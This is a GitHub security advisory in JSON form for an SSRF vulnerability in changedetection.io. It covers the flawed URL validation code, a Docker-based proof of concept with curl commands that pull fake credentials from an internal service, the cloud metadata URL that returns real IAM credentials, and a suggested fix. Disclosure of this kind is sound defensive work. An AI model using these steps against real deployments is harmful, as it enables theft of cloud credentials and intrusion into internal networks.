CVE-2026-27696: Changedetection.io Changedetection.io Is Vulnerable To SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3c45-4pj5-ch7m",
  "modified" : "2026-02-25T19:08:18Z",
  "published" : "2026-02-25T19:08:18Z",
  "aliases" : [ "CVE-2026-27696" ],
  "summary" : "changedetection.io is Vulnerable to SSRF via Watch URLs",
  "details" : "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n    safe_protocol_regex = '^(http|https|ftp):'\n\n    # Check protocol\n    pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)\n    if not pattern.match(test_url.strip()):\n        return False\n\n    # Check URL format\n    if not validators.url(test_url, simple_host=True):\n        return False\n\n    return True  # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n                    url=url,            # User-provided URL, no IP validation\n                    headers=request_headers,\n                    timeout=timeout,\n                    proxies=proxies,\n                    verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text     # Text content stored\nself.raw_content = r.content  # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            'Code': 'Success',\n            'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',\n            'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',\n            'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'\n        }).encode())\nHTTPServer(('0.0.0.0', 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n  changedetection:\n    image: ghcr.io/dgtlmoon/changedetection.io\n    ports:\n      - \"5000:5000\"\n    volumes:\n      - ./datastore:/datastore\n\n  internal-service:\n    build:\n      context: .\n      dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service’s response containing the simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n<img width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" />\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://internal-service/\"}')\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['uuid'])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n  -H \"x-api-key: $API_KEY\" | \\\n  python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n  -H \"x-api-key: $API_KEY\"\n```\nExpected output — the internal service’s response containing simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n<img width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" />\n\n---\n\n## Impact\n\n**Who is impacted:**  \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),     # Loopback\n    ipaddress.ip_network('10.0.0.0/8'),      # Private (RFC 1918)\n    ipaddress.ip_network('172.16.0.0/12'),   # Private (RFC 1918)\n    ipaddress.ip_network('192.168.0.0/16'),  # Private (RFC 1918)\n    ipaddress.ip_network('169.254.0.0/16'),  # Link-local / Cloud metadata\n    ipaddress.ip_network('::1/128'),         # IPv6 loopback\n    ipaddress.ip_network('fc00::/7'),        # IPv6 unique local\n    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n    \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            for network in BLOCKED_NETWORKS:\n                if ip in network:\n                    return True\n    except socket.gaierror:\n        return True  # Block unresolvable hostnames\n    return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n    logger.warning(f\"URL '{test_url}' resolves to a private/reserved IP address\")\n    return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "changedetection.io"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.54.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dgtlmoon/changedetection.io"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T19:08:18Z",
    "nvd_published_at" : "2026-02-25T05:17:26Z"
  }
}